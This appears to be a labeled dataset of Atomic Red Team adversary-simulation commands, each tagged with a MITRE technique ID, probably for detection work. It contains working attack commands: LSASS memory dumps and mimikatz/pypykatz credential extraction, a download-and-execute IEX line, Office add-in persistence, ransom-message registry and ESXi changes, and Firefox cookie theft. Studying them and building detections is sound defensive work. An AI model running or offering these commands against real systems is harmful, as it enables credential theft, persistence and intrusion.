The sample XLL provided launches the notepad as a proof-of-concept for persistent execution from Office.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a1138c6c98cc70545434e06d,"$wdApp = New-Object -COMObject ""Word.Application"" if(-not $wdApp.path.contains(""Program Files (x86)"")) { Write-Host ""64-bit Office"" Copy ""PathToAtomicsFolder\T1137.006\bin\Addins\wordwll_x64.wll"" ""$env:APPDATA\Microsoft\Word\Startup\notepad.wll"" } else{ Write-Host ""32-bit Office"" Copy ""PathToAtomicsFolder\T1137.006\bin\Addins\wordwll_x86.wll"" ""$env:APPDATA\Microsoft\Word\Startup\notepad.wll"" } Stop-Process -Name ""WinWord"" Start-Process ""WinWord""","$wdApp = New-Object -COMObject ""Word.Application"" if(-not $wdApp.path.contains(""Program Files (x86)"")) { Write-Host ""64-bit Office"" Copy ""PathToAtomicsFolder\T1137.006\bin\Addins\wordwll_x64.wll"" ""$env:APPDATA\Microsoft\Word\Startup\notepad.wll"" } else{ Write-Host ""32-bit Office"" Copy ""PathToAtomicsFolder\T1137.006\bin\Addins\wordwll_x86.wll"" ""$env:APPDATA\Microsoft\Word\Startup\notepad.wll"" } Stop-Process -Name ""WinWord"" Start-Process ""WinWord""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1137.006/T1137.006.yaml,Persistent Code Execution Via Word Add-in File (WLL),T1137.006,"[""T1137.006""]",windows,0.9,False,"Creates a Word Add-in file (WLL) which runs automatically when Word is started
The sample WLL provided launches the notepad as a proof-of-concept for persistent execution from Office.
Successfully tested on 32-bit Office 2016. Not successful from microsoft 365 version of Office. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4828403f2d19b4198b2a4420,"Stop-Process -Name ""notepad"",""WinWord"" -ErrorAction Ignore Start-Sleep 3 Remove-Item ""$env:APPDATA\Microsoft\Word\Startup\notepad.wll"" -ErrorAction Ignore","Stop-Process -Name ""notepad"",""WinWord"" -ErrorAction Ignore Start-Sleep 3 Remove-Item ""$env:APPDATA\Microsoft\Word\Startup\notepad.wll"" -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1137.006/T1137.006.yaml,Persistent Code Execution Via Word Add-in File (WLL),T1137.006,"[""T1137.006""]",windows,0.55,True,"Creates a Word Add-in file (WLL) which runs automatically when Word is started
The sample WLL provided launches the notepad as a proof-of-concept for persistent execution from Office.
Successfully tested on 32-bit Office 2016. Not successful from microsoft 365 version of Office. 
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3560f285cd04832033f50c9f,"Copy ""PathToAtomicsFolder\T1137.006\bin\Addins\ExcelVBAaddin.xlam"" ""$env:APPDATA\Microsoft\Excel\XLSTART\notepad.xlam"" Start-Process ""Excel""","Copy ""PathToAtomicsFolder\T1137.006\bin\Addins\ExcelVBAaddin.xlam"" ""$env:APPDATA\Microsoft\Excel\XLSTART\notepad.xlam"" Start-Process ""Excel""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1137.006/T1137.006.yaml,Persistent Code Execution Via Excel VBA Add-in File (XLAM),T1137.006,"[""T1137.006""]",windows,0.9,False,"Creates an Excel VBA Add-in file (XLAM) which runs automatically when Excel is started
The sample XLAM provided launches the notepad as a proof-of-concept for persistent execution from Office.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
bdf4436e982cc732d723810e,"Stop-Process -Name ""notepad"",""Excel"" -ErrorAction Ignore Start-Sleep 3 Remove-Item ""$env:APPDATA\Microsoft\Excel\XLSTART\notepad.xlam"" -ErrorAction Ignore","Stop-Process -Name ""notepad"",""Excel"" -ErrorAction Ignore Start-Sleep 3 Remove-Item ""$env:APPDATA\Microsoft\Excel\XLSTART\notepad.xlam"" -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1137.006/T1137.006.yaml,Persistent Code Execution Via Excel VBA Add-in File (XLAM),T1137.006,"[""T1137.006""]",windows,0.55,True,"Creates an Excel VBA Add-in file (XLAM) which runs automatically when Excel is started
The sample XLAM provided launches the notepad as a proof-of-concept for persistent execution from Office.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
73612264722e10d38a27e7cb,"Copy ""PathToAtomicsFolder\T1137.006\bin\Addins\PptVBAaddin.ppam"" ""$env:APPDATA\Microsoft\Addins\notepad.ppam"" $ver = (New-Object -COMObject ""PowerPoint.Application"").version $ExcelRegPath=""HKCU:\Software\Microsoft\Office\$Ver\PowerPoint\AddIns\notepad"" New-Item -type Directory $ExcelRegPath -Force | Out-Null New-ItemProperty $ExcelRegPath ""Autoload"" -value ""1"" -propertyType DWORD | Out-Null New-ItemProperty $ExcelRegPath ""Path"" -value ""notepad.ppam"" -propertyType string | Out-Null Stop-Process -Name ""PowerPnt"" -ErrorAction Ignore Start-Process ""PowerPnt""","Copy ""PathToAtomicsFolder\T1137.006\bin\Addins\PptVBAaddin.ppam"" ""$env:APPDATA\Microsoft\Addins\notepad.ppam"" $ver = (New-Object -COMObject ""PowerPoint.Application"").version $ExcelRegPath=""HKCU:\Software\Microsoft\Office\$Ver\PowerPoint\AddIns\notepad"" New-Item -type Directory $ExcelRegPath -Force | Out-Null New-ItemProperty $ExcelRegPath ""Autoload"" -value ""1"" -propertyType DWORD | Out-Null New-ItemProperty $ExcelRegPath ""Path"" -value ""notepad.ppam"" -propertyType string | Out-Null Stop-Process -Name ""PowerPnt"" -ErrorAction Ignore Start-Process ""PowerPnt""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1137.006/T1137.006.yaml,Persistent Code Execution Via PowerPoint VBA Add-in File (PPAM),T1137.006,"[""T1137.006""]",windows,0.9,False,"Creates a PowerPoint VBA Add-in file (PPAM) which runs automatically when PowerPoint is started
The sample PPA provided launches the notepad as a proof-of-concept for persistent execution from Office.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4b6fe4350749df53902651d8,"$ver = (New-Object -COMObject ""PowerPoint.Application"").version Remove-Item ""HKCU:\Software\Microsoft\Office\$Ver\PowerPoint\AddIns\notepad"" -ErrorAction Ignore Stop-Process -Name ""notepad"",""PowerPnt"" -ErrorAction Ignore Start-Sleep 3 Remove-Item ""$env:APPDATA\Microsoft\AddIns\notepad.ppam"" -ErrorAction Ignore","$ver = (New-Object -COMObject ""PowerPoint.Application"").version Remove-Item ""HKCU:\Software\Microsoft\Office\$Ver\PowerPoint\AddIns\notepad"" -ErrorAction Ignore Stop-Process -Name ""notepad"",""PowerPnt"" -ErrorAction Ignore Start-Sleep 3 Remove-Item ""$env:APPDATA\Microsoft\AddIns\notepad.ppam"" -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1137.006/T1137.006.yaml,Persistent Code Execution Via PowerPoint VBA Add-in File (PPAM),T1137.006,"[""T1137.006""]",windows,0.55,True,"Creates a PowerPoint VBA Add-in file (PPAM) which runs automatically when PowerPoint is started
The sample PPA provided launches the notepad as a proof-of-concept for persistent execution from Office.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
61c5e3b72476228b73939fb4,"""#{procdump_exe}"" -accepteula -ma lsass.exe #{output_file}","""#{procdump_exe}"" -accepteula -ma lsass.exe #{output_file}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.001/T1003.001.yaml,Dump LSASS.exe Memory using ProcDump,T1003.001,"[""T1003.001""]",windows,0.9,False,"The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals
ProcDump.

Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp.

If you see a message saying ""procdump.exe is not recognized as an internal or external command"", try using the  get-prereq_commands to download and install the ProcDump tool first.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a833e20507fcfb48d7ea617b,"del ""#{output_file}"" >nul 2> nul","del ""#{output_file}"" >nul 2> nul",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.001/T1003.001.yaml,Dump LSASS.exe Memory using ProcDump,T1003.001,"[""T1003.001""]",windows,0.55,True,"The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals
ProcDump.

Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp.

If you see a message saying ""procdump.exe is not recognized as an internal or external command"", try using the  get-prereq_commands to download and install the ProcDump tool first.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
438391145733cf99583ad1b7,"C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full","C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.001/T1003.001.yaml,Dump LSASS.exe Memory using comsvcs.dll,T1003.001,"[""T1003.001""]",windows,0.9,False,"The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with a built-in dll.

Upon successful execution, you should see the following file created $env:TEMP\lsass-comsvcs.dmp.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f1d95d9e2bb8f184c21ccf7b,Remove-Item $env:TEMP\lsass-comsvcs.dmp -ErrorAction Ignore,Remove-Item $env:TEMP\lsass-comsvcs.dmp -ErrorAction Ignore,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.001/T1003.001.yaml,Dump LSASS.exe Memory using comsvcs.dll,T1003.001,"[""T1003.001""]",windows,0.55,True,"The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with a built-in dll.

Upon successful execution, you should see the following file created $env:TEMP\lsass-comsvcs.dmp.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a155317de7cfecbd0f70a2f9,del C:\windows\temp\dumpert.dmp >nul 2> nul,del C:\windows\temp\dumpert.dmp >nul 2> nul,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.001/T1003.001.yaml,Dump LSASS.exe Memory using direct system calls and API unhooking,T1003.001,"[""T1003.001""]",windows,0.55,True,"The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved using direct system calls and API unhooking in an effort to avoid detection. 
https://github.com/outflanknl/Dumpert
https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/
Upon successful execution, you should see the following file created C:\\windows\\temp\\dumpert.dmp.

If you see a message saying \""The system cannot find the path specified.\",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cdbb01a1e7f18f7c7957da2c,"PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w ""%temp%\nanodump.dmp""","PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w ""%temp%\nanodump.dmp""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.001/T1003.001.yaml,Dump LSASS.exe Memory using NanoDump,T1003.001,"[""T1003.001""]",windows,0.9,False,"The NanoDump tool uses syscalls and an invalid dump signature to avoid detection.

https://github.com/helpsystems/nanodump

Upon successful execution, you should find the nanondump.dmp file in the temp directory
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a6f1d982ea62f7e2c0bb0d99,"del ""%temp%\nanodump.dmp"" >nul 2> nul","del ""%temp%\nanodump.dmp"" >nul 2> nul",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.001/T1003.001.yaml,Dump LSASS.exe Memory using NanoDump,T1003.001,"[""T1003.001""]",windows,0.55,True,"The NanoDump tool uses syscalls and an invalid dump signature to avoid detection.

https://github.com/helpsystems/nanodump

Upon successful execution, you should find the nanondump.dmp file in the temp directory
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
495b9794d1f57d1a354a66b7,"""#{mimikatz_exe}"" ""sekurlsa::minidump #{input_file}"" ""sekurlsa::logonpasswords full"" exit","""#{mimikatz_exe}"" ""sekurlsa::minidump #{input_file}"" ""sekurlsa::logonpasswords full"" exit",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.001/T1003.001.yaml,Offline Credential Theft With Mimikatz,T1003.001,"[""T1003.001""]",windows,0.9,False,"The memory of lsass.exe is often dumped for offline credential theft attacks. Adversaries commonly perform this offline analysis with
Mimikatz. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2d55b25cff48b156d64fab0a,"""#{venv_path}\Scripts\pypykatz"" live lsa","""#{venv_path}\Scripts\pypykatz"" live lsa",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.001/T1003.001.yaml,LSASS read with pypykatz,T1003.001,"[""T1003.001""]",windows,0.9,False,"Parses secrets hidden in the LSASS process with python. Similar to mimikatz's sekurlsa::

Python 3 must be installed, use the get_prereq_command's to meet the prerequisites for this test.

Successful execution of this test will display multiple usernames and passwords/hashes to the screen.

Will create a Python virtual environment within the External Payloads folder that can be deleted manually post test execution.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
356168b6793e45174aea60e5,"del ""%temp%\nanodump.dmp"" > nul 2> nul","del ""%temp%\nanodump.dmp"" > nul 2> nul",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.001/T1003.001.yaml,LSASS read with pypykatz,T1003.001,"[""T1003.001""]",windows,0.55,True,"Parses secrets hidden in the LSASS process with python. Similar to mimikatz's sekurlsa::

Python 3 must be installed, use the get_prereq_command's to meet the prerequisites for this test.

Successful execution of this test will display multiple usernames and passwords/hashes to the screen.

Will create a Python virtual environment within the External Payloads folder that can be deleted manually post test execution.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1a1f0c07111cbf97dae4c399,"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 New-Item -Type Directory ""PathToAtomicsFolder\..\ExternalPayloads\"" -ErrorAction Ignore -Force | Out-Null try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop} catch{ $_; exit $_.Exception.Response.StatusCode.Value__} get-process lsass | Out-Minidump","[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 New-Item -Type Directory ""PathToAtomicsFolder\..\ExternalPayloads\"" -ErrorAction Ignore -Force | Out-Null try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop} catch{ $_; exit $_.Exception.Response.StatusCode.Value__} get-process lsass | Out-Minidump",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.001/T1003.001.yaml,Dump LSASS.exe Memory using Out-Minidump.ps1,T1003.001,"[""T1003.001""]",windows,0.9,False,"The memory of lsass.exe is often dumped for offline credential theft attacks. This test leverages a pure
powershell implementation that leverages the MiniDumpWriteDump Win32 API call.
Upon successful execution, you should see the following file created $env:TEMP\lsass_*.dmp.

Author of Out-Minidump: Matthew Graeber (@mattifestation)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1d94f92cd6e6050845dfa40a,Remove-Item $env:TEMP\lsass_*.dmp -ErrorAction Ignore,Remove-Item $env:TEMP\lsass_*.dmp -ErrorAction Ignore,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.001/T1003.001.yaml,Dump LSASS.exe Memory using Out-Minidump.ps1,T1003.001,"[""T1003.001""]",windows,0.55,True,"The memory of lsass.exe is often dumped for offline credential theft attacks. This test leverages a pure
powershell implementation that leverages the MiniDumpWriteDump Win32 API call.
Upon successful execution, you should see the following file created $env:TEMP\lsass_*.dmp.

Author of Out-Minidump: Matthew Graeber (@mattifestation)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1bf5c90ae37cafe9e1554f4f,"""#{procdump_exe}"" -accepteula -mm lsass.exe #{output_file}","""#{procdump_exe}"" -accepteula -mm lsass.exe #{output_file}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.001/T1003.001.yaml,Create Mini Dump of LSASS.exe using ProcDump,T1003.001,"[""T1003.001""]",windows,0.9,False,"The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals
ProcDump. This particular method uses -mm to produce a mini dump of lsass.exe

Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp.

If you see a message saying ""procdump.exe is not recognized as an internal or external command"", try using the  get-prereq_commands to download and install the ProcDump tool first.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cb292303ae573bc5710ade9f,IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds,IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.001/T1003.001.yaml,Powershell Mimikatz,T1003.001,"[""T1003.001""]",windows,0.9,False,"Dumps credentials from memory via Powershell by invoking a remote mimikatz script.
If Mimikatz runs successfully you will see several usernames and hashes output to the screen.
Common failures include seeing an \""access denied\"" error which results when Anti-Virus blocks execution. 
Or, if you try to run the test without the required administrative privileges you will see this error near the bottom of the output to the screen ""ERROR kuhl_m_sekurlsa_acquireLSA""
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2e78de3d43100303dfad1371,"$exePath = resolve-path ""$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"" & ""$exePath"" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id","$exePath = resolve-path ""$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"" & ""$exePath"" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.001/T1003.001.yaml,Dump LSASS with createdump.exe from .Net v5,T1003.001,"[""T1003.001""]",windows,0.9,False,"Use createdump executable from .NET to create an LSASS dump.

[Reference](https://twitter.com/bopin2020/status/1366400799199272960?s=20)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
72a8ebc587607546ec3f320c,Remove-Item $env:Temp\dotnet-lsass.dmp -ErrorAction Ignore,Remove-Item $env:Temp\dotnet-lsass.dmp -ErrorAction Ignore,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.001/T1003.001.yaml,Dump LSASS with createdump.exe from .Net v5,T1003.001,"[""T1003.001""]",windows,0.55,True,"Use createdump executable from .NET to create an LSASS dump.

[Reference](https://twitter.com/bopin2020/status/1366400799199272960?s=20)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d3906bd7ac118cd93332eae7,#{xordump_exe} -out #{output_file} -x 0x41,#{xordump_exe} -out #{output_file} -x 0x41,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.001/T1003.001.yaml,Dump LSASS.exe using imported Microsoft DLLs,T1003.001,"[""T1003.001""]",windows,0.9,False,"The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved by
importing built-in DLLs and calling exported functions. Xordump will re-read the resulting minidump 
file and delete it immediately to avoid brittle EDR detections that signature lsass minidump files.

Upon successful execution, you should see the following file created $env:TEMP\lsass-xordump.t1003.001.dmp.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5f97e54db4b329a0b434e0b6,Remove-Item #{output_file} -ErrorAction Ignore,Remove-Item #{output_file} -ErrorAction Ignore,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.001/T1003.001.yaml,Dump LSASS.exe using imported Microsoft DLLs,T1003.001,"[""T1003.001""]",windows,0.55,True,"The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved by
importing built-in DLLs and calling exported functions. Xordump will re-read the resulting minidump 
file and delete it immediately to avoid brittle EDR detections that signature lsass minidump files.

Upon successful execution, you should see the following file created $env:TEMP\lsass-xordump.t1003.001.dmp.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
94d5bd157f22614315625f34,Remove-Item $env:TEMP\t1003.001-13-rdrleakdiag -Recurse -Force -ErrorAction Ignore,Remove-Item $env:TEMP\t1003.001-13-rdrleakdiag -Recurse -Force -ErrorAction Ignore,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.001/T1003.001.yaml,Dump LSASS.exe using lolbin rdrleakdiag.exe,T1003.001,"[""T1003.001""]",windows,0.55,True,"The memory of lsass.exe is often dumped for offline credential theft attacks. 
This can be achieved with lolbin rdrleakdiag.exe. 

Upon successful execution, you should see the following files created, $env:TEMP\minidump_<PID>.dmp and  $env:TEMP\results_<PID>.hlk.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c0bb3e6185f7f613cb81f8bf,"PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit ""#{output_folder}""","PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit ""#{output_folder}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.001/T1003.001.yaml,Dump LSASS.exe Memory through Silent Process Exit,T1003.001,"[""T1003.001""]",windows,0.9,False,"WerFault.exe (Windows Error Reporting process that handles process crashes) can be abused to create a 
memory dump of lsass.exe, in a directory of your choice. This method relies on a mechanism 
introduced in Windows 7 called Silent Process Exit, which provides the ability to trigger
specific actions for a monitored process in one of two scenarios; either the process terminates
itself by calling ExitProcess(), or another process terminates it via the TerminateProcess() API. 
The major advantage ",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
262e20b51d7340a89e7f20b7,"rmdir ""#{output_folder}"" /s /q >nul 2> nul","rmdir ""#{output_folder}"" /s /q >nul 2> nul",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.001/T1003.001.yaml,Dump LSASS.exe Memory through Silent Process Exit,T1003.001,"[""T1003.001""]",windows,0.55,True,"WerFault.exe (Windows Error Reporting process that handles process crashes) can be abused to create a 
memory dump of lsass.exe, in a directory of your choice. This method relies on a mechanism 
introduced in Windows 7 called Silent Process Exit, which provides the ability to trigger
specific actions for a monitored process in one of two scenarios; either the process terminates
itself by calling ExitProcess(), or another process terminates it via the TerminateProcess() API. 
The major advantage ",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
dc2d35185d94d1323dbb0256,Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name LegalNoticeCaption -Value $orgLegalNoticeCaption -Type String -Force Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name LegalNoticeText -Value $orgLegalNoticeText -Type String -Force,Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name LegalNoticeCaption -Value $orgLegalNoticeCaption -Type String -Force Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name LegalNoticeText -Value $orgLegalNoticeText -Type String -Force,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1491.001/T1491.001.yaml,Configure LegalNoticeCaption and LegalNoticeText registry keys to display ransom message,T1491.001,"[""T1491.001""]",windows,0.55,True,"Display ransom message to users at system start-up by configuring registry keys HKLM\SOFTWARE\Micosoft\Windows\CurrentVersion\Policies\System\LegalNoticeCaption and HKLM\SOFTWARE\Micosoft\Windows\CurrentVersion\Policies\System\LegalNoticeText.

[SynAck Ransomware](https://www.trendmicro.com/vinfo/es/security/news/cybercrime-and-digital-threats/synack-ransomware-leverages-process-doppelg-nging-for-evasion-and-infection), 
[Grief Ransomware](https://redcanary.com/blog/grief-ransomware/), 
[Maze Ra",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f9df322d4953ea2abc1d10d9,"echo """" | ""#{plink_file}"" -batch ""#{vm_host}"" -ssh -l #{vm_user} -pw ""#{vm_pass}"" ""esxcli system welcomemsg set -m 'RANSOMWARE-NOTIFICATION'""","echo """" | ""#{plink_file}"" -batch ""#{vm_host}"" -ssh -l #{vm_user} -pw ""#{vm_pass}"" ""esxcli system welcomemsg set -m 'RANSOMWARE-NOTIFICATION'""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1491.001/T1491.001.yaml,ESXi - Change Welcome Message on Direct Console User Interface (DCUI),T1491.001,"[""T1491.001""]",windows,0.9,False,"Changes the ESXi welcome message to potentially display ransom information.
[Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/esxcli/#change%20display%20information)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
360581160344354553a24709,"$notePath = Join-Path $env:TEMP ""#{note_filename}"" $pidPath = Join-Path $env:TEMP ""#{pid_filename}"" $Title = ""#{note_title}"" $Body = ""#{note_body}"" $header = $Title + ""`r`n"" + ('=' * $Title.Length) + ""`r`n`r`n"" $content = $header + $Body [System.IO.File]::WriteAllText($notePath, $content, [System.Text.Encoding]::UTF8) $p = Start-Process notepad.exe -ArgumentList ""`""$notePath`"""" -PassThru $p.Id | Out-File -FilePath $pidPath -Encoding ascii -Force","$notePath = Join-Path $env:TEMP ""#{note_filename}"" $pidPath = Join-Path $env:TEMP ""#{pid_filename}"" $Title = ""#{note_title}"" $Body = ""#{note_body}"" $header = $Title + ""`r`n"" + ('=' * $Title.Length) + ""`r`n`r`n"" $content = $header + $Body [System.IO.File]::WriteAllText($notePath, $content, [System.Text.Encoding]::UTF8) $p = Start-Process notepad.exe -ArgumentList ""`""$notePath`"""" -PassThru $p.Id | Out-File -FilePath $pidPath -Encoding ascii -Force",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1491.001/T1491.001.yaml,Windows - Display a simulated ransom note via Notepad (non-destructive),T1491.001,"[""T1491.001""]",windows,0.9,False,"Creates a temporary ransom-note text file and opens it in Notepad to
simulate ransomware ""note display"" behavior without making destructive
changes. SAFE and non-destructive.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cfa9f363274f1e368ee1a5bd,"stop-process -name ""firefox"" -force -erroraction silentlycontinue $CookieDBLocation = get-childitem -path ""$env:appdata\Mozilla\Firefox\Profiles\*\cookies.sqlite"" ""select host, name, value, path, expiry, isSecure, isHttpOnly, sameSite from [moz_cookies];"" | cmd /c #{sqlite3_path} ""$CookieDBLocation"" | out-file -filepath ""#{output_file}""","stop-process -name ""firefox"" -force -erroraction silentlycontinue $CookieDBLocation = get-childitem -path ""$env:appdata\Mozilla\Firefox\Profiles\*\cookies.sqlite"" ""select host, name, value, path, expiry, isSecure, isHttpOnly, sameSite from [moz_cookies];"" | cmd /c #{sqlite3_path} ""$CookieDBLocation"" | out-file -filepath ""#{output_file}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1539/T1539.yaml,Steal Firefox Cookies (Windows),T1539,"[""T1539""]",windows,0.9,False,"This test queries Firefox's cookies.sqlite database to steal the cookie data contained within it, similar to Zloader/Zbot's cookie theft function. 
Note: If Firefox is running, the process will be killed to ensure that the DB file isn't locked. 
See https://www.malwarebytes.com/resources/files/2020/05/the-silent-night-zloader-zbot_final.pdf. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ebc086559ed7e41e4e334012,remove-item #{output_file} -erroraction silentlycontinue,remove-item #{output_file} -erroraction silentlycontinue,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1539/T1539.yaml,Steal Firefox Cookies (Windows),T1539,"[""T1539""]",windows,0.55,True,"This test queries Firefox's cookies.sqlite database to steal the cookie data contained within it, similar to Zloader/Zbot's cookie theft function. 
Note: If Firefox is running, the process will be killed to ensure that the DB file isn't locked. 
See https://www.malwarebytes.com/resources/files/2020/05/the-silent-night-zloader-zbot_final.pdf. 
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
